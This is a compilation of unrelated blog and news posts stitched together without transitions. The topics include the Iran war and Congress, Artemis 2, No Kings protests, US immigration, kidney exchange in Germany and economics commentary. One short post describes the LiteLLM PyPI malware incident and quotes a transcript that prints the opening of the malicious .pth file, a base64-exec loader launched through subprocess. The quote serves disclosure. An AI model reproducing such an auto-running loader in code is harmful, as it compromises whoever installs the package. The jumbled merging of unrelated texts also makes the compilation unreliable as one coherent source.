This afternoon, Noah Robertson and Ellen Francis of the Washington Post reported that the Pentagon is considering diverting weapons intended for Ukraine to the Middle East. They also noted that on Monday, Pentagon officials told Congress that it was going to divert about $750 million in funding provided by NATO countries for Ukraine to restock military weapons in the U.S. instead. About allocating weapons, Trump told the reporters, “we do that all the time. We have them in other countries, like in Germany and all over Europe. Sometimes we take from one and we use for another.”

Last week, the U.S. eased sanctions on banks in Russia’s ally Belarus, and today Trump announced he would ease further sanctions on Belarus to try to get fertilizer into the U.S. since Iran’s closure of the Strait of Hormuz has stopped the transportation of about 20% of the world’s fertilizer. Also today, Belarus’s president Alexander Lukashenko signed a treaty with another of Putin’s allies, North Korea’s president Kim Jong Un, announcing a “fundamentally new stage” of the relationship between the two countries as they “oppose undue pressure on Belarus from the West.” Both Belarus and North Korea support Russia in its war on Ukraine.

Trump has openly endorsed Orbán for reelection in Hungary’s April 12 elections, posting on social media yesterday: “Relations between Hungary and the United States have reached new heights of cooperation and spectacular achievement under my Administration, thanks largely to Prime Minister Orbán. I look forward to continuing working closely with him so that both of our Countries can further advance this tremendous path to SUCCESS and cooperation.” Urging Hungarians to vote for Orbán, Trump continued: “He is a true friend, fighter, and WINNER, and has my Complete and Total Endorsement.… I AM WITH HIM ALL THE WAY!”

The framers of the Constitution tried to set up a system that would make it impossible for a president to go to war for private interests or the benefit of other countries, establishing that Congress alone can declare war. The framers wanted the American people to weigh in on whether they wanted to dedicate their lives and their fortunes to a war.

But Trump simply began the Iran war without consultation with Congress, and administration officials have refused to appear at hearings, instead briefing Congress behind closed doors. At an annual fundraising dinner for Republican members of Congress, Trump appeared to acknowledge he was violating the Constitution. He spoke of the “tremendous success” of what he called his “military operation” in Iran. He continued: “I won’t use the word war ’cause they say if you use the word war, that’s maybe not a good thing to do. They don’t like the word war because you are supposed to get approval. So I will use the word military operation.”

Now, as the war costs at least $1 billion a day and Trump’s declarations fluctuate wildly from saying the war is over to suggesting he is considering deploying ground troops to posting this morning that Iranian negotiators “better get serious soon, before it is too late, because once that happens, there is NO TURNING BACK, and it won’t be pretty!” even Republicans are starting to have misgivings. The war has pushed Trump’s approval rating down to just 36%, while a new Reuters poll shows that only 25% of Americans approve of how Trump is handling the cost of living. Today the stock market, which has generally trended downward since the invasion, dropped sharply as traders apparently recognized that the cost of oil is not coming down anytime soon.

Yesterday, after a classified briefing, House Armed Services Committee chair Mike Rogers (R-AL), who backed the Iran strikes, told reporters that Congress members “want to know more about what’s going on, what the options are, and why they’re being considered,” adding, “And we’re just not getting enough answers on those questions.” Chair of the Senate Armed Services Committee Roger Wicker (R-MS) commented: “I can see why he might have said that.”

In an in-depth interview with Hunter Walker and Josh Kovensky of Talking Points Memo yesterday, Representative Joe Morelle (D-NY), who sits on the House Appropriations Committee, explained how Trump’s Iran incursion has become a “mess” for the president. The administration has suggested it is going to ask for $200 billion for the war, and Morelle noted that we are already closing in on $30 billion in spending on it and that“when you consider all the things that Trump rejects or the Republicans reject as too costly, the fact that they have now spent $30 billion in effectively the span of a month without even talking to Congress about this expenditure is really somewhat staggering.”

Morelle noted that even if the White House or the Pentagon did start to provide specifics, “I’m not sure it would matter anyway because the president changes his mind so frequently. He might say something and literally without exaggeration, a half hour later say something completely different, or even sometimes within the same press conference, give two wildly different answers.”

Morelle told Walker and Kovensky: “They fight us on things that will help American families be able to pursue dreams, take care of the food, housing, and healthcare needs of millions of families that they can’t afford”—precisely the things that, as Minister Balakrishnan noted, the post–World War II international order enabled people around the world to attain. “But,” Morelle said, “they can go into an ill-conceived military action that has neither the support of Congress nor the support of American families, which has no clear objectives, shifting goals, and has alienated our allies and made us less safe.”

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Notes:

https://www.mfa.gov.sg/newsroom/press-statements-transcripts-and-photos/transcript-of-minister-for-foreign-affairs-dr-vivian-balakrishnan-s-interview-with-reuters-global-managing-editor-for-world-news-mark-bendeich--23-march-2026/

https://www.washingtonpost.com/politics/2026/02/28/trump-iran-decision-saudi-arabia-israel/

https://carnegieendowment.org/emissary/2026/03/trump-netanyahu-iran-war-responsibility

https://www.nytimes.com/2026/03/24/us/politics/saudi-prince-iran-trump.html

https://www.politico.eu/article/us-donald-trump-pressuring-ukraine-cede-territory-russia-says-vlodymyr-zelenskyy/

https://www.washingtonpost.com/national-security/2026/03/26/us-iran-war-ukraine-missile-defense/

https://apnews.com/article/treasury-trump-belarus-sanctions-lukashenko-farmers-fertilizer-48a742dbf2e4176a04f308d3020c0b4a

https://www.aljazeera.com/news/2026/3/26/north-koreas-kim-meets-lukashenko-slams-pressure-on-belarus-from-west

https://www.politico.com/news/2026/03/25/rogers-attacks-pentagon-iran-troops-00844639

https://www.reuters.com/world/europe/back-usa-russian-lawmakers-make-first-visit-years-2026-03-26/

https://talkingpointsmemo.com/news/joe-morelle-trump-iran-war-cost-appropriations

https://www.cnbc.com/2026/03/26/trump-iran-negotiations.html

https://www.atlanticcouncil.org/dispatches/oil-waivers-risk-sustaining-russias-war-effort-amid-the-iran-war/

https://www.nytimes.com/2026/03/25/us/politics/trump-bipartisan-backlash-oil-sanctions-russia-iran.html

https://www.bbc.com/news/articles/cm2871wyz9ko

https://www.politico.com/news/2026/03/26/i-have-no-idea-trump-allies-iran-00847304

https://www.wsj.com/livecoverage/stock-market-today-dow-sp-500-nasdaq-03-26-2026

https://www.reuters.com/world/us/trumps-approval-hits-new-36-low-fuel-prices-surge-amid-iran-war-reutersipsos-2026-03-24/

https://www.nytimes.com/2026/03/26/business/oil-stock-gas-prices-iran.html

YouTube:

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He is one of the world’s leading art critics, all of his books are excellent, and he has a new and very good work coming out titled Vermeer: A Life Lost and Found.  He also has a well-known book on Caravaggio, on Michelangelo, and I am especially fond of his book on British art.

Here is his Wikipedia page.  Here is his home page.  So what should I ask him?

The post What should I ask Andrew Graham-Dixon? appeared first on Marginal REVOLUTION.

The four astronauts of the Artemis 2 mission headed to the Sunshine State on Friday for their much anticipated mission to loop around the Moon and back. The quartet departed from the Johnson Space Center in Texas, flanked by colleagues from NASA and the Canadian Space Agency.

Commander Reid Wiseman, pilot Victor Glover, and mission specialists Christina Koch and Jeremy Hansen are set to fly to Florida on T-38 jets, touching down at the Launch and Landing Facility — formerly the Shuttle Landing Facility — around 2:30 p.m. EDT (1830 UTC).

The crew will be the first humans to venture out beyond low Earth orbit since the Apollo 17 mission in 1972. When the Artemis 2 mission takes flight, it will begin a ten-day journey around the Moon and back.

Artemis 2 is scheduled to launch no earlier than Wednesday, April 1, at 6:24 p.m. EDT (2224 UTC). There is a six-day launch window that extends through April 6.

The mission features a free-return trajectory, meaning their Orion spacecraft, named ‘Integrity,’ will not enter lunar orbit. Five days into the mission the crew will make their closest approach to the Moon.

They could also pass the record for the furthest humans have traveled from Earth, which was set by Apollo 13 at 248,655 miles, depending on the time and day they launch.

This will be the second mission to space for Wiseman, Glover, and Koch. Artemis 2 will not only be Hansen’s first spaceflight, but also the first time that a non-American will fly to the vicinity of the Moon.

The Artemis 2 mission is a test flight on the road towards establishing av sustained human presence on the Moon. During a day-long series of presentations this week, NASA Administrator Jared Isaacman and other members of agency leadership outlined the plans for establishing a Moon Base.

Isaacman’s administration made the decision to move away from a Moon-orbiting space station, called Gateway, and instead focus on surface operations. The administrator made a point to note that Gateway was “paused,” not “cancelled,” and that they may revisit the idea in the future.

As part of the revamping of the Artemis program, intending to increase flight cadence and preparation for a lunar landing no earlier than 2028, Isaacman also announced last month that the Artemis 3 mission will take place in Earth orbit and focus on docking with one or both of the landers from SpaceX and Blue Origin.

The new Artemis 3 is scheduled to launch in 2027 on a Space Launch System rocket. However, Isaacman said NASA is still working through the mission specifics, stating that the agency may not need to use their last remaining Interim Cryogenic Propulsion Stage, the upper stage of the SLS rocket.

On March 12, Isaacman told Spaceflight Now that mission specifics should be made public within the next 60-90 days.

My minute-by-minute response to the LiteLLM malware attack

Callum McMahon reported the LiteLLM malware attack to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:

Confirmed. Fresh download from PyPI right now in an isolated Docker container:

Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...

The malicious litellm==1.82.8 is live on PyPI right now and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.

I was chuffed to see Callum use my claude-code-transcripts tool to publish the transcript of the conversation.

Via Hacker News

Tags: pypi, security, ai, generative-ai, llms, claude, supply-chain

There are few things politicians love more than dashing to the front of a parade, so there will be plenty of Democratic officeholders joining No Kings rallies this Saturday. It’s the third installment in what has become the most visible expression of grassroots resistance to the Trump presidency, and it could be the biggest; the organizers say they already have 3,000 rallies scheduled in every corner of the country, more than either of the two previous No Kings events that occurred last June and October. But the protest is more than an indication that Democrats have the wind at their back heading to November’s midterms (though they do). It also contains important lessons Democrats would do well to understand.

The first and most obvious one is that people are mad, and anger is one of the most powerful motivators in politics. Don’t let the festive costumes and funny signs mislead you; millions of people won’t turn out to protest unless they’re seriously fed up.

So Democrats need to speak to that anger, to show they understand it and share it. There’s been a lot of talk about “fighting,” which is certainly something the Democratic base wants. But that’s more than just trying to sound belligerent (or swearing more, which some Democrats have decided is the way to communicate their resolve). Sometimes it means refusing to confirm a Trump nominee (or all Trump nominees), and sometimes it means refusing to give ground on a matter of principle, like when political consultants advise betraying marginalized people in the quest to inhabit the political center. Sometimes fighting is loud, and sometimes it’s quiet. But Democrats have to communicate that voters can trust them to be strong, even when it’s risky. And keep in mind, the word voters most associate with the national Democratic Party right now is “weak.”

The second lesson of the No Kings rallies is that this moment isn’t just about Trump — but in the short term it’s still mostly about Trump. It can’t be denied that without a president so horrid in so many ways, this kind of mobilization wouldn’t be possible. We’ve seen large protest movements before, but never one focused so intently on the issue-spanning idea that the inhabitant of the White House is a danger to the country. The closest thing in recent history was the Tea Party, which was motivated by anger at the election of a Black president — and was nowhere near as large as No Kings.

As Rachel Maddow recently pointed out, Trump has committed an extraordinary number of abuses of power just since the last No Kings event, including bulldozing the East Wing of the White House, trying to arrest six members of Congress for explaining the moral and legal obligations of servicemembers, slapping his name on the Kennedy Center, waging war on the city of Minneapolis, and starting what increasingly looks like it will be a disastrous war in Iran. Anyone who was angry and frustrated before has even more reason to be so now.

That puts Democrats in a position to ride to victory in November, almost regardless of what they do. According to The Downballot, since Trump took office, Democrats have flipped 30 seats in special elections from red to blue; Republicans have flipped zero. While some of those 30 Democrats were surely wonderful candidates, a sweeping result like that transcends individual districts and contenders; it means that voters are upset and motivated everywhere, and are ready to punish the president’s party.

Which leads to the next lesson of No Kings: Act like you’re the majority, because you are. The last No Kings event drew 7 million participants, according to the organizers; other estimates put the figure only slightly smaller. Either way, it was the biggest one-day protest in American history. While that may be a minority of the public, you don’t get that many people out in the streets unless they represent tens of millions more who didn’t participate. That’s why Republicans try so hard to delegitimize all liberal protest, to argue that it’s “paid” or phony or too organized to be real. But its size and scope shows how many people are on the Democrats’ side. Meanwhile, Trump’s approval has dipped into the 30s. Yet all too often, Democratic politicians are timid about what they believe, as though they expect to lose. But in politics as in life, confidence can be powerful.

The next lesson is that as mad as they are at Trump, people are after something deeper. In a recent NBC News poll, 59% of voters said the economic and political systems are stacked against people like them, and 84% agreed that “the very rich and powerful are above the law when they do something wrong, they look out for each other, using their power and connections to get special treatment.” It matters to people that this president is so nakedly corrupt, that the Supreme Court is controlled by partisan hacks, that America’s image around the globe lies in tatters, and that the entire federal government has been degraded. They can see the connections between the way power operates and the fact that they don’t have affordable health care or better wages. Politicians have to show they understand that too.

A final lesson of No Kings is that people want a participatory politics. At a time when we’re all hunched over our phones and feeling disconnected from one another, No Kings demonstrates the yearning people feel to connect with one another in a common effort to improve their country. Politicians have a role to play here, since successful campaigns give people things to do, and make them feel like they’re part of something meaningful. Campaigns that just send 50 texts a day asking for money, on the other hand, engender nothing but resentment.

And this is where the effort has to move beyond protest. In recent years, Democrats have been better at mobilizing, while Republicans have been better at organizing; the former is about getting people out to something like a protest, while the latter means bringing people into movements that become part of their identity, so they become citizen activists. Turning mobilization into organization is difficult and labor-intensive, but it creates a much more powerful movement.

There are other lessons all of us can take from these events. For instance: The small protests are just as important as the big ones, if not more so. As great as it will be to see thousands upon thousands of people take to the streets in New York and Los Angeles, it takes much more courage for someone in a small conservative town like Bottineau, North Dakota (population 2,000 or so) to protest in public, knowing that they might get some dirty looks the next day down at the post office. But there will be a protest in Bottineau! And as Alan Elrod argues, we should embrace the earnestness of these protests, because cringe is good; unlike the snark and detachment favored by social media, it’s empowering.

If Democratic politicians can understand these lessons, they can take them into governing the next time they win power. Then maybe they’ll actually make progress on creating the change all those protesters are demanding.

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Donald Trump’s impulsive decision to deploy large numbers of ICE agents to hang out at America’s airport Cinnabons — there’s no indication that they are actually helping demoralized, unpaid TSA employees deal with long lines at airport security — may have unintended political consequences: it will remind Americans about how much they dislike ICE and the great harm that it’s doing. Nonetheless, recent data show that the administration’s crackdown on immigration is working. Immigration to the United States is plunging and may be about to go into reverse.

And that plunge is making America poorer and weaker – now and in the long-run.

Trump believes, or pretends to believe — it’s impossible to tell the difference — that ICE is popular, posting on Truth Social that

The Public is loving ICE. They are Great American Patriots, they just happen to have much larger, and harder, muscles than most — which is what they’re supposed to have.

Ahem. Anyway, two new polls show how delusional it is to assert that the public is “loving ICE.”

First, G. Elliott Morris reports that ICE commands so little public trust and respect that “it’s in a category of its own”:

And a new PRRI poll shows that public support for Trump’s anti-immigration agenda, which was never particularly strong, has cratered as the public sees the cruelty and destructiveness of that agenda in action. It finds sharply declining approval of Trump’s handling of immigration, even among Republicans:

And the PRRI poll shows very little public support for ICE’s tactics, such as its habit of hanging out near schools looking for parents (and sometimes children) to arrest:

A casual observer might look at this polling and imagine that the crusade against immigrants was faltering, especially when one takes into account the effectiveness of the popular resistance in Minnesota and a string of legal defeats for ICE. Most recently Trump officials admitted that their claims that ICE had the right to make arrests at immigration courts were based on “a material mistaken statement of fact,” which is known in plain English as a “lie.”

But the reality is that as unpopular as the administration’s actions have been, they have “succeeded” in essentially stopping immigration into the United States. The chart at the top of this post shows the latest estimates from the Census Bureau of movements of people into and out of the U.S., where “2026” actually refers to an “estimates year” that runs from July 2025 to June 2026. The numbers for calendar year 2026 will almost surely be lower. The Census declares that

Currently, the estimates of NIM [net international migration] are trending toward negative net migration [that is, more people are leaving than entering the country]. If those trends continue, it would be the first time the United States has seen net negative migration in more than 50 years.

Why is this happening? After all, to look at a seemingly analogous case, Trump’s tariff policy, which is similarly chaotic and has been reeling from legal challenges, has failed to cause any significant decline in net imports, aka the trade deficit. Why, then, has the Stephen Miller/Trump attack on immigrants been so successful at ending immigration inflows?

Because imports aren’t people, but immigrants are. Now, for those immigrants that are already here, it’s unlikely that we will actually deport a large percentage. And while thousands have been sent to America’s new gulags — sorry, but that’s what ICE detention centers are — their number probably won’t rise into the millions. But millions of potential immigrants are being deterred by the fear of detention, deportation, and the breakup of families.

And this will hurt all of us. There has already been a thorough debunking of the false claims that immigration hurts the native born. But I will add two more points.

First, let me address the claim that Trump’s anti-immigrant vendetta led to a surge in native-born employment. As everyone who actually understood the numbers realized from the beginning, this surge wasn’t real — there was a quirk in the way the numbers were estimated that created a phantom bulge in native-born employment that would vanish once new Census estimates were in. Justin Fox has a good explanation.

And sure enough, official numbers show a plunge in native-born employment over the past few months. Both the surge and the plunge were statistical artifacts, not reality:

This didn’t happen

So, no – waging war against immigrants is not resulting in higher employment of the native-born. In fact, it’s contributing to a stalling of the economy in construction and in the service industries. And even the Trump administration has admittedthat the immigration crackdown is hurting America’s farmers and the food supply.

Second, let me say a word about the fiscal impacts of immigration. Trump officials have said remarkable things about that— remarkable in their falsity and their unadulterated xenophobia. Stephen Miller recently asserted that

The extraction of wealth from American taxpayers to people who don’t belong here is the primary cause of the national debt.

But, aside from the raw nastiness of this statement, it’s helpful in prompting us to think about the fiscal impact of immigration. It’s useful to recognize that the federal government is, in a widely used expression, basically an insurance company with an army. Specifically, the federal government largely collects taxes from working-age adults to pay either for defense or for social programs that spend most of their money on the elderly — that is, Medicare, Medicaid and Social Security.

Immigration expands the base of taxpayers, which means more people to share the burden of paying taxes to pay for defense. This includes undocumented immigrants, because their employers collect payroll taxes out of their wages, with the added fiscal payoff that they will never collect benefits. And because immigrants are relatively young and healthy, they increase the amount going into government coffers while having a delayed impact on outlays. The Social Security Administration does sensitivity analysis of factors affecting its projections, and consistently finds that higher immigration improves the system’s financial health, while lower immigration worsens it.

I could go on and on, but the point should be clear. Trump, Miller and company are succeeding in their anti-immigrant crusade, despite many failures of implementation, because they are managing to scare away millions of people who wanted to live and work in the United States, contributing to our society. And this “success” will leave us poorer and weaker.

MUSICAL CODA

We Rewrote JSONata with AI in a Day, Saved $500K/Year

Bit of a hyperbolic framing but this looks like another case study of vibe porting, this time spinning up a new custom Go implementation of the JSONata JSON expression language - similar in focus to jq, and heavily associated with the Node-RED platform.

As with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend.

The Reco team then used a shadow deployment for a week to run the new and old versions in parallel to confirm the new implementation exactly matched the behavior of the old one.

Tags: go, json, ai, generative-ai, llms, agentic-engineering, vibe-porting

I’m very quick to complain online about something annoying but sometimes slower when something is good. So here’s something good.

I was reminded recently about the alarm pendants we got for our mum when she was still living at home. I’m usually prepared for, and accepting of, a few minor technical hiccups when setting up technology – it’s hard to make things work smoothly for everyone, everywhere, every time – but I was amazed at how well thought out the process of setting up these pendants was.

We ended up with two slightly different pendants, both from Taking Care.

First was their “Digital Personal Alarm”, I think, a small white pendant with a single, soft grey button that connects to a rectangular mains-powered unit that connects to Taking Care using a cellular connection (3G or 4G, I’m not sure which network(s)). If the button is pressed on the pendant or the main unit, it calls the service and someone’s friendly voice appears to ask if everything’s OK. In advance you give them the numbers of family/neighbours who they can call, or emergency services if necessary. They do a similar pendant that can detect falls, and a wrist-wearable version. It works up to 300 metres from the base station (although the wearer’s unlikely to hear the helpful voice from that distance).

We also had a “Taking Care Anywhere” pendant which is bigger but doesn’t need the main base station. It was the most magic-feeling technology I’ve seen in a while because it’s so small and simple. It can track the wearer’s location anywhere using GPS and if it detects a fall, or you squeeze the two buttons together, it calls directly to the support team and you speak to them through the pendant. I was surprised how loud and clear the voice was through the pendant.

The little white pendant has a battery that lasts for years and the larger pendant needs to be charged every couple of months by placing it on a clear, round charging unit that brightly glows useful colours.

The little white pendant was included as an extra when we got the larger one – a “backup” for while the larger one is charging. In retrospect I think it would have been simpler to not use the smaller one at all, and only charge the larger one occasionally at night. This all currently costs £37.79 per month which isn’t nothing but in the scale of costs-associated-with-getting-old, it felt like money well spent.

The main thing is that it all Just Worked from initial set-up onwards. I can’t remember the exact process of setting up each device but I do remember thinking that it couldn’t have been any simpler. There was none of the expected, “Oh, hmm, I’ll try it again,” turn-it-off-and-on-again false-starts you get with so many things these days. It shouldn’t have felt remarkable but it did.

And every time we spoke to a voice at the call centre they were helpful and friendly. Thankfully we only had accidental calls – no real falls – but every time they were reassuring and not at all put out that nothing was actually wrong. Having both the hardware, its invisible software, and the human part of the service all working well was so good.

The only slightly awkward thing: It was harder to remember that the larger pendant required squeezing its buttons from both sides, which was a bit more fiddly than pressing the only button on the small white pendant.

There are many pieces of hardware associated with healthcare and being elderly that feel utilitarian and clunky, and so many services that feel stretched and only-just-working. Yes this is a pay-for service as opposed to the underfunded NHS but, still, it was as good as you hope everything should be.

And, importantly, although Mum wasn’t very enthused about the idea of a pendant initially, she ended up diligently wearing them and was reluctant to give them up when moving to a care home.

But otherwise, amazing: technology and services that work really well! Who’d have thought?!

These particular devices are apparently also known as the Chiptech GO and Chiptech Pearl so are probably available through other services in other countries too. Good work everyone.

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 Axel Ockenfels forwards the good news. He writes: "It passed! The Bundestag voted today to permit kidney exchange in Germany. The CDU/CSU, SPD, and Greens voted in favor." 

 (More steps will have to be taken before kidney exchanges occur regularly in Germany, but this is a giant step forward.) 

 Here's the official announcement:

Parlament weitet Regeln zur Lebendorganspende aus  

Parliament expands rules on living organ donation 

"On Thursday, March 26, 2026, the Bundestag expanded the possibility of living kidney donations to increase the circle of possible organ donors and organ recipients. A corresponding bill of the Federal Government "to amend the Transplantation Act – Amendment of the regulations on living organ donation and further amendments" (21/3619) in the version amended by the Health Committee was adopted by the majority of the CDU/CSU, SPD and Bündnis 90/Die Grünen against the votes of the parliamentary group Die Linke, with the AfD abstaining. In the future, this will also enable so-called cross-over living kidney donations between different couples. 

...

"Despite numerous initiatives to promote organ donation, there has been no trend reversal so far. At the end of 2024, around 6,400 people were waiting for a donor kidney, according to the information. At the same time, the number of kidney transplants fell to 2,075. A total of 253 patients died in 2024 who were on the waiting list for a kidney.

"Opening up further therapy options
"Therefore, it is important to open up further therapy options that have long been established internationally. The goal of countering the danger of organ trafficking remains decisive in the amendment of the regulations, according to the draft.

"In the future, living kidney donations will be possible "crosswise" by another organ donor partner in the case of immunologically incompatible organ donor couples. The organ donor couples do not have to know each other. However, the so-called close relationship of the respective incompatible partners should remain mandatory. 

"Principle of subsidiarity is repealed
"The so-called principle of subsidiarity, according to which organ removal from living persons is only permitted if no suitable organ from a deceased donor is available, will be repealed. Non-directed anonymous kidney donation, i.e. a donation to an unknown person, is also made possible. The donor should have no influence on the recipient.

"The plan is to establish a program for the mediation and implementation of crossover living kidney donation, including anonymous kidney donation. A center for the placement of kidneys is to be established. The conciliation procedure is laid down by law.

"Care in the transplant center mandatory
"Mandatory independent psychosocial counselling and evaluation of donors before a donation will be introduced. In addition, care in the transplant center will be mandatory throughout the entire donation process.

"If a living kidney donor later falls ill himself and needs a kidney transplant, this should be taken into account when arranging kidneys donated postmortem. Institutions that remove tissue postmortem should be able to be connected to the Register for Declarations of Organ and Tissue Donation (OGR) so that they can clarify for themselves whether there is a willingness to donate tissue in a potential donation case." 

########## 

It's been a long campaign, and Axel and a number of others played a critical, tireless role, both in public and in private consultation with lawmakers and interested parties. It's notable that the legislation looks forward to allowing nondirected donors (not every European kidney exchange program does.) It's also notable that the current bill expects that compatible pairs will not be eligible to participate in kidney exchange to seek a better match. That's a battle that hasn't yet been won, despite the fact that compatible pairs are important in a number of ways in U.S. kidney exchange.

Still, this is a significant victory in a campaign that has been going on for at least a decade. I may have written the first German newspaper editorial on the need to legalize kidney exchange in Germany, almost exactly ten years ago:

Thursday, March 17, 2016  German organ transplant law should be amended or reinterpreted to allow kidney exchange: my op-ed in Der Tagesspiegel

 

Here's one of the more recent editorials, which I was privileged to coauthor with Ockenfels and two other heroes (or in this case heroines) of this struggle, Agnes Cseh and Christine Kurschat:

Monday, September 9, 2024  Anticipating kidney exchange in Germany in the Frankfurter Allgemeine Zeitung

 

 There will be more steps to take to establish effective regulations and institutions to make kidney exchange readily available in Germany, but this is a big step in that direction.

There is a growing movement to eliminate the wage cap on Social Security taxes while capping benefits. The argument, often from the center-right, is that Social Security is insolvent and that “tough” choices are needed to save it. But this moves the system in exactly the wrong direction.

One of the better features of Social Security is that it has never been purely redistributive. It has also functioned, in part, as a forced-savings program. The Social Security Administration itself emphasizes that benefits depend on earnings history: earn more, retire with more. Why do some people receive large Social Security checks? Because they paid a lot more into the system.

Eliminating the wage cap while capping benefits weakens, and in the limit destroys, that connection. It turns Social Security away from forced saving and toward retirement welfare financed by a broader tax on earnings. That is a bad idea.

The problem is not just that this creates another welfare program. It also worsens marginal incentives. A tax that buys you a claim on future benefits is not the same as a pure tax. Suppose 10 percent of your salary goes into a 401(k). That reduces current consumption, but it is not simply money lost to the state. You receive an asset in return. It is closer to a purchase than to a tax–a reason to work more not a reason to work less.

Social Security is not a personal retirement account, but it does contain that logic. There is a connection between taxes paid and benefits received. To the extent that workers understand that connection, the payroll tax is less distortionary than an ordinary tax of the same size. Part of what workers pay is offset by the expectation of future benefits.

Gut that connection, however, and the tax becomes more distortionary even if total taxes paid and total benefits received stay the same. The averages can remain unchanged while the marginal incentives deteriorate. Once additional taxes no longer generate additional benefits, the system looks much more like a straight tax on work.

A much better reform would move in the opposite direction: strengthen the link between contributions and benefits. Make Social Security more like what many people already think it is—an individual account that accumulates benefits over time. The stronger that link, the lower the effective tax wedge.

This would also improve the politics of the system. A welfare program invites zero-sum conflict: my benefit comes at your expense. A claim-based system is less divisive. It ties benefits more clearly to contributions and makes rising prosperity good for everyone. In that kind of system, we can all become richer—including low-wage immigrants—without treating retirement policy as a fight over who gets to pick whose pocket.

Addendum: James Buchanan first made these points here. John Cochrane gets the economics right, of course.

The post Social Security Should Be a Forced Savings Program Not a Welfare Program appeared first on Marginal REVOLUTION.

Marginal Garfield generates an original Garfield cartoon every day based on posts from Marginal Revolution! Here is the first strip. You can guess the post. Is there now any reason to come to MR? What a world.

You can also check out Rationalist Garfield which pulls from Less Wrong.

We thank Tim Hwang.

The post Marginal Garfield appeared first on Marginal REVOLUTION.

Americans love to gamble. But placing bets on wildfires, floods and storms comes with serious moral and social costs

- by Jamie L Pietruska

Read on Aeon

To The Marginal Revolution: Rise and Decline, and the Pending AI Revolution, here is the very close of the book:

There is however a slightly scarier version of this story yet. Maybe our intuitions about the world, including the economic world, were never so strong in the first place. Maybe we put so much value on “intuitive” results, in 20th century microeconomics, as a kind of cope and also security blanket, to make up for this deficiency. But our intuitions, even assuming them to be largely correct, always were just a small corner of understanding, swimming in a larger froth of epistemic chaos. And now the illusion has been stripped bare, and the true complexities of economic reasoning are being revealed.

As Arnold Kling would say, “Have a nice day.”

Can I say again “Have a nice day”?

The post Henry Oliver calls it a Swiftian ending appeared first on Marginal REVOLUTION.

Here is the audio, video, and transcript.  Here is the episode summary:

Tyler calls Paul Gillingham’s new book, Mexico: A 500-Year History, the single best introduction to the country’s past—and one of the best nonfiction books of 2026. Paul brings both an outsider’s eye and ground-level knowledge to Mexican history, having grown up in Cork — a place he’d argue gave him an instinctive feel for fierce local autonomy and land hunger —earning his doctorate on the Mexican Revolution under Alan Knight at Oxford, and doing his fieldwork in the pueblos of Guerrero.

He and Tyler range across five centuries of Mexican history, from why Mexico held together after independence when every other post-colonial superstate collapsed, to why Yucatán is now one of the safest places on earth, what two leaders from Oaxaca tell us about Mexican politics, how Mexico avoided the military coups that plagued the rest of Latin America, what Cárdenas’s land reform actually achieved versus what it promised, whether the ejido system held Mexico back, why Mexico worried too much about land and not enough about human capital, how Mexico’s fertility rate fell below America’s, why Guerrero has been violent for two centuries, why the new judicial reforms are a disaster, where to find the best food in Mexico and Manhattan, what a cache of illicit Mexican silver sitting on a ship in the English Channel has to do with his next book, and more.

Excerpt:

COWEN: Now, after independence in 1821, why did not the rest of Mexico fragment the way Central America did a few years later, where it splits off from the Mexican empire? What determines the line? What sticks together with Mexico, and what does not?

GILLINGHAM: That’s a very good question because it’s one of the things that really makes Mexico stand out in that period, those histories, is that after independence, the rest of the Americas, you get a series of super-states. You get Gran Colombia, which is most of the Andes, and going across what’s now Venezuela. You get the United Provinces of the Rio Plate. These are huge, very difficult to conceive of super-states, and they fail within a decade. Elsewhere, you look at other post-colonial states, thinking particularly of India, within a couple of years, you’re fragmented and failed. Mexico doesn’t. Mexico actually stands up with the exceptions you put of Central America, which is formally part of it, in fact, but leaves within short order.

It’s one of these questions of what Álvaro Enrigue calls the miracle that Mexico exists. To explain it is a paradox. To make a try at it, I think that there is a common theme in Mexican history, which runs across most of those five centuries, which is a remarkable degree of hands-off government. It’s imposed. Mexico has a lot of mountains. It’s very difficult to rule from any central pole. Savvy governments, or governments with no choice, which are quite often the same thing, are very hands-off. Federalism is built into Mexico’s soul. I think that’s one of the reasons, from early on, Mexico actually out-punches the rest of the Americas in terms of sticking together as a territorial unit.

COWEN: As you know, in the early 19th century, there are rebellions in Yucatán, the Caste Wars, but Yucatán does not split off from Mexico. What keeps that together?

GILLINGHAM: Yucatán has always felt itself to be a different country, effectively, and that runs through to the present. You can see the cultural reasons, obviously, and the Maya and the other great, sophisticated urban culture of the 16th century and before. It makes sense that they should feel themselves very different from the rest of what becomes Mexico. In fact, it comes through in small but revealing ways. Back in the 20th century, people find themselves being asked whether they want a Yucatán beer or a foreign beer, and a foreign beer being anything in Mexico outside Yucatán.

Why doesn’t Yucatán leave? I think that it came extremely close. In fact, there’s a moment in the 1840s when Mexico and Texas form an alliance, and Texas is chartering warships out to Yucatán to try and prevent any naval incursions. Why on earth does Yucatán stay? I think it’s because of the absence of an alternative capital, because Yucatán is profoundly racially divided. It’s one of the few places in Mexico where you could say that really is a fairly stark racial divide. You have a plantocracy, in some ways, like the US South before the Civil War.

You’ve got a relatively small white plantocracy centered in Mérida. They have no interest whatsoever in leading an independent struggle. While the Maya achieve an underestimated level of sophistication as a state, it’s still not at the point where you would get, for more than a couple of years, a really joined-up independence movement spanning all races, all areas, and the entire peninsula.

Recommended, interesting and substantive throughout.  In the United States at least, Mexico remains a greatly underdiscussed nation.

The post My excellent Conversation with Paul Gillingham appeared first on Marginal REVOLUTION.

Spawning season has sprung for Pacific herring (Clupea pallasii) in the waters off British Columbia, Canada. From mid-February through early May each year, thousands of the small, silvery fish congregate in shallow coastal areas around Vancouver Island and create a spectacle sometimes visible to satellites.

Sheltered waters in Barkley Sound, on the southwestern side of Vancouver Island, are regular sites for spawn events. On February 19, 2026, the Landsat 9 satellite caught a glimpse of early-season activity underway along the shore near Forbes Island. In these events, female herring produce eggs that stick to a variety of materials, from kelp and seagrass to rock surfaces. Males release a sperm-containing fluid called milt into the water, giving it a cloudy green or turquoise look.

